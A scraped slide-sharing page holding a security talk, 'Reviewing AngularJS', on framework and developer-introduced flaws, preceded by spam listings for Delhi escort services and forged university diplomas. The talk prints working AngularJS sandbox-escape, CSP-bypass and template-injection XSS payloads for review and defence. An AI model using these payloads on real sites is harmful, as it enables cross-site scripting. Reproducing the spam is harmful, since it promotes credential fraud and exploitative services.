Contact Rya Baby for Call Girls New Delhi
 
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
 
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
 
Hot Sexy call girls in Rk Puram 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in  Rk Puram 🔝 9953056974 🔝 Delhi escort ServiceHot Sexy call girls in  Rk Puram 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Rk Puram 🔝 9953056974 🔝 Delhi escort Service
 
Top 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxTop 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptx
 
Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24
 
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
 
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012Call Girls South Delhi Delhi reach out to us at ☎ 9711199012
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012
 
A Good Girl's Guide to Murder (A Good Girl's Guide to Murder, #1)
A Good Girl's Guide to Murder (A Good Girl's Guide to Murder, #1)A Good Girl's Guide to Murder (A Good Girl's Guide to Murder, #1)
A Good Girl's Guide to Murder (A Good Girl's Guide to Murder, #1)
 
young call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Service
young call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Serviceyoung call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Service
young call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Service
 
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
 
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
 
PHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 DocumentationPHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 Documentation
 
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
 
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
 
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja Vip
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja VipCall Girls Service Adil Nagar 7001305949 Need escorts Service Pooja Vip
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja Vip
 
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
 
Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...
 
Film cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasaFilm cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasa
 

Reviewing AngularJS

  • 2. Whoami • Security Consultant • Ph.D. Student • I like Web Security…. • @LewisArdern No, this is not me
  • 3. Agenda • What is AngularJS? • Overview of the framework • Why should we care • How to assess AngularJS • Security Caveats • Where to look • Tools
  • 5. What is AngularJS? • AngularJS is open-source web application framework maintained by Google • Front-end MVC framework • Built-in data-binding • Client-side templates • Back-end can use any technology(Java, .NET, Ruby, etc.) • Single Page Applications (SPAs) • AngularJS simplifies development and testing
  • 6. Model - View - Controller – on the Client Client Data (JSON)
  • 7. AngularJS Sample Code – “Hello SteelCon” <div ng-app> <label>Name:</label> <input type="text" ng-model=“steelCon" placeholder="Enter a value here"> <hr> <h1>Hello {{steelCon}}!</h1> </div> • ng-app • ng-model directive • Expressions
  • 9. Config / Routing angular.module('app', [‘ngRoute’]); angular.module('app').config(function($routeProvider) { $routeProvider .when('/', { templateUrl: '/partials/views/main', controller: 'mvMainCtrl' }) });
  • 11. View - (Jade Template) doctype html(ng-app='app') head title Cigital link(rel="stylesheet", href="/bootstrap.css") base(href="/") body(ng-controller=‘controller') p {{hello}} include scripts
  • 12. Directives • Angular is sandboxed (Moved From The DOM) • Directives are markers on a DOM element • Attribute • element name • Talk to the HTML compiler • Transform DOM elements + children elements • ngClick – On Click • Developers can create custom directives
  • 13. Services • Used to organize and share code across an application • AngularJS has built in services • $http • You can build your own services • loginService • Logging
  • 14. An Angular Application Summed Up • MVC – Or Model View (Whatever) • Config • Controllers • Templates - View • Routing • Directives • Services • Scopes • $scope/$rootScope • Expressions • {{helloWorld}}
  • 15. Why Should We Care?
  • 16. • It has a huge adoption rate • It’s popular..
  • 19. Security Caveats • Issues Within The Framework • Sandbox Escapes • CSP Bypasses • Sanitizer Bypasses • Issues Introduced By Developers • Explicitly Trusting Data • Client-Side Routing and Authorization • Client-Side Template Injection
  • 20. Security Caveats – Not Covered • CSRF Protection • AngularJS $http JSON Hijacking Protection • Storing Sensitive Data in Persistent Local Storage • Sanitize Translation Content in angular-translate • Angular and Content Security Policy Support • Third-Party Libraries • textAngular • angular-translate
  • 21. Issues Within The Framework
  • 23. Sandbox • Angular separates from the DOM using expressions • AngularJS uses a sanitization function to prevent the execution of an unsafe expression • This means we can’t access • Window object • DOM elements • Global variables • Object constructor • Sandbox is *not for security reasons
  • 24.
  • 25. Sandbox Escapes – 1.0 – 1.1.5 • First found by Mario Heiderich • Within an expression you could call a constructor • Which could call the constructor of the constructor • Which returns the function constructor that can access eval {{constructor.constructor('alert(1)')()}} • But AngularJS Team Fixed it
  • 26. Sandbox Escapes – 1.1.5 > • Jann Horn • Gareth Heyes • Mathias Karlsson • Gábor Molnár
  • 27. Next generation – (Gabor) {{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' )) );}}
  • 28. Next level… - (Jann) <!-- Jann's rather extreme Bypass --> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></script> <body ng-app ng-csp> {{ objectPrototype = ({})[['__proto__']]; objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest); $root.$$listenerCount[['constructor']] = 0; $root.$$listeners = [].map; $root.$$listeners.indexOf = [].map.bind; functionPrototype = [].map[['__proto__']]; functionToString = functionPrototype.toString; functionPrototype.push = ({}).valueOf; functionPrototype.indexOf = [].map.bind; foo = $root.$on('constructor', null); functionPrototype.toString = $root.$new; foo(); }} {{ functionPrototype.toString = functionToString; functionPrototype.indexOf = null; functionPrototype.push = null; $root.$$listeners = {}; baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')(); baz = true;'' }} </body> </html>
  • 29.
  • 31. Summarizing Sandbox Escapes • In the end (it doesn’t even matter) • Developers cannot rely on updating Angular to be secure • Essentially attackers have a universal Sandbox Bypass • Expression Interpolation == XSS • Unclear if the Angular team will fix it • Lets see what 2.0 has instore
  • 32. CSP
  • 33. CSP • Content Security Policy (CSP) • Helps protect against XSS • Allows you define where scripts are loaded / ran • Angular Harmonizes with CSP with its ngCSP directive • Abusing browser and framework functionality allows XSS
  • 34. CSP Bypasses • Early bypasses were trivial • onclick isn’t accessible, but you can abuse the framework • ng-click=“$event.window.alert(1)” • Issues within the browser • Chrome ES6 Reflect API • Universal CSP Bypass • Does anyone whitelist CDNs in their CSP? • What about ajax.googleapis.com?
  • 35. Universal CSP Bypass Explained • http://example.com/foo?xss=evilCode <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); header('Content-Type: text/html; charset=utf-8'); header('X-Frame-Options: deny'); header('X-Content-Type-Options: nosniff'); ?> <?php echo $_GET['xss']; ?>
  • 36. Universal CSP Bypass Explained ng-app"hng-csp ng- click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angular js/1.0.8/angular.js></script>
  • 38. Sanitizer Bypasses • The Sanitizer is essentially an XSS filter • It’s a component called $sanitize • It returns a clean string of HTML ready for use within the view • First (OLD) Sanitizer used a HTML parser from 2008 • Which could be bypassed by including SVG and using the use element which allows you pulls resources • Second (New) Sanitizer uses the DOM. • Document.implementation • Chrome Unicode Bypass
  • 40. Issues Introduced By Developers
  • 42. Ensure Strict Contextual Escaping (SCE) Is Enabled • SCE allows for displaying dynamic formatted data, such as HTML, while preventing XSS attacks by implicitly passing it through encoding and sanitization methods • SCE is enabled by default in version 1.2+ • Include the ngSanitize module dependency • Enable $sce through $sceProvider.enabled(true) • SCE can be disabled altogether – do not do this! • $sceProvider.enabled(false) 42
  • 43. Ensure Strict Contextual Escaping (SCE) Is Enabled • SCE is implemented for HTML content by ngBindHtml directive • SCE can be disabled for particular elements with explicit calls to: • $sce.trustAs(type, value) • $sce.trustAsHtml(value)
  • 44. Overriding or Disabling SCE May Lead to XSS 44 Template: <body ng-app=“myApp"> <div ng-controller=“myCtrl"> <p ng-bind-html=“hello"></p> </div> </body>
  • 45. Overriding or Disabling SCE May Lead to XSS 45 angular.module(myApp', ['ngSanitize']) .controller(‘myCtrl', function ($sce) { this.hello = $sce.trustAsHtml('<p style="color:blue">Hey!! Come and ' + '<em style="color:Red" onmouseover="this.textContent='Click'">rn' + 'Mouse Hover</em> Over Me</p>'); }); Controller:
  • 47.
  • 48. Incorrect use of $eval • The $eval function evaluates Angular Expressions • $scope.$eval(‘a+b’) • $scope.$eval(‘functionName’)() • If data is not wrapped within single quotations, this can cause security issues • $scope.$eval($scope.a+$scope.b) • This can lead to XSS • This can lead to attackers accessing $scope/$rootScope
  • 49. 49 AngularJS Sample Code – Correct use of $eval <body ng-controller="main"> <p> Current Message = {{message}}</p> <input type="text" placeholder="First Search" ng- model="scope.a"> <button type="button" ng- click=“correctEval(scope)">try to create an XSS</button> </body> </html> angular.module('app', []).controller('main', function($scope,$rootScope) { $scope.message = "Default Text"; $scope.correctEval = function(value) { $scope.a = value.a; $scope.message = $scope.$eval(‘a’); } }) HTML template: JavaScript controller:
  • 50. 50 AngularJS Sample Code – Incorrect use of $eval <body ng-controller="main"> <p> Current Message = {{message}}</p> <input type="text" placeholder="First Search" ng- model="scope.a"> <button type="button" ng- click="incorrectEval(scope)">Cr eate an XSS</button> </body> </html> angular.module('app', []).controller('main', function($scope,$rootScope) { $scope.message = "Default Text"; $scope.incorrectEval = function(value) { $scope.a = value.a; $scope.message = $scope.$eval($scope.a); } }) HTML template: JavaScript controller:
  • 51. Client-Side Routing and Authorization
  • 52. Client Side Routes Authorization Article “AngularJS Security - Authorization on Angular Routes” http://www.codeproject.com/Tips/811782/AngularJS-Security-Authorization- on-Angular-Routes • Permission model on the client side • Angular stores the role for the duration of the session var appModule = angular.module("appModule", ['ngRoute', 'ngResource']) .config(function($routeProvider, $locationProvider) { $routeProvider .when('/superUserSpecificRoute', { templateUrl: '/templates/superUser.html', //view path caseInsensitiveMatch: true, controller: 'superUserController', //controller for the route resolve: { //use the authorizationService to check the role permission: function(authorizationService, $route) { return authorizationService.permissionCheck( [roles.superUser]); }, } }) And all of this is client- side!
  • 53. Do Not Rely on AngularJS Security Controls 53 • Client side routing and route authorization functionality provided by Angular should be considered a user experience and business logic optimization only. • Any authentication and authorization controls implemented on the client can be easily bypassed. • Any authorization, authentication, or business logic controls must be enforced on the server. Never trust the client!
  • 56. Server-side templates Client-side templates Javascript: Jade, ejs, Pug AngularJS ReactJS Java: JSP PHP: Smarty Prevent Cross-Site Scripting via Template Injection • Mixing server-side & client-side templates can cause XSS without the need to inject HTML tags • User input added to a server-side template and then sent to the client-side template • The server-side template engine only escapes malicious HTML characters (e.g <, >, “, ‘) • An attacker can place AngularJS expression language within {{ }} • won’t be escaped by server-side code • will be executed by the client-side AngularJS template • will run within a sandbox with limited execution of JavaScript • Avoid using both client-side & server-side templates! • Keep app logic on the server side & presentation on the client side
  • 57. Template Injection Diagram 57 Template User Input Template Engine Server-side Client-side res.render() Template Engine AngularJS template View compile Malicious AngularJS code is injected through input Template engine only escapes HTML special characters Template engine renders AngularJS expressions including malicious code Malicious code executes within the view 1 2 3 4
  • 58. Combined Template Injection Code app.get('/mixed', function(req,res){ //Send the name to the ejs template res.render('../server/views/index', {name: req.query.name}); }); <body ng-app=“templateSampleApp”> <div ng-controller=“sampleController”> <p> Profile name : <%= name %> </p> </div> </body> Server Code: EJS template: Valid payload (assuming controller has a logout function): • http://www.example.com/mixed?name={{logout%28%29}} Client-side template: <body ng-app=“templateSampleApp”> <div ng-controller=“sampleController”> <p> Profile name : {{ logout() }} </p> </div> </body>
  • 61. Where to look • Verify the Angular Version • Check third-party libraries • Check for module dependencies • Look at what is dependency injected into controllers • Look at Custom Directives/Services • Look at what they are storing within localStorage • You will have to spend some time on the controller and understand client-side logic
  • 62. Tools
  • 63. Tools • Retire.js • BurpSuite • Batarang / Augury (Angular 2.0) • Scan.js / ESLint • JACKS – SOON
  • 64. Retire.js • The goal of Retire.js is to help detect the use of JS- library versions with known vulnerabilities • Retire.js can be used • A command line scanner • A grunt plugin • A Chrome extension • A Firefox extension • Burp and OWASP Zap plugin • Full list of vulnerabilities - http://retirejs.github.io/retire.js
  • 70. JACKS – Soon To Support AngularJS
  • 71. Summarizing… • Angular is an Interesting MVW • There are some/were interesting issues within the framework • Strict Contextual Escaping (SCE) • Use $eval wisely • Never trust the client • Don’t mix Client/Server Side Templates
  • 72. Additional Reading • http://www.slideshare.net/x00mario/jsmvcomfg-to-sternly-look- at-javascript-mvc-and-templating-frameworks/48 • https://docs.angularjs.org/guide/security • https://blog.portswigger.net/2016/01/xss-without-html-client- side-template.html • https://blog.portswigger.net/2016/04/adapting-angularjs- payloads-to-exploit.html • https://docs.google.com/presentation/d/1qdAq-TtaVfsZ4af- WlUzKALZv0GmsHViuk3WM_UIubs/pub?start=false&loop=fal se&delayms=3000&slide=id.g3751a7aa1_0319 • www.slideshare.net/x00mario/an-abusive-relationship-with- angularjs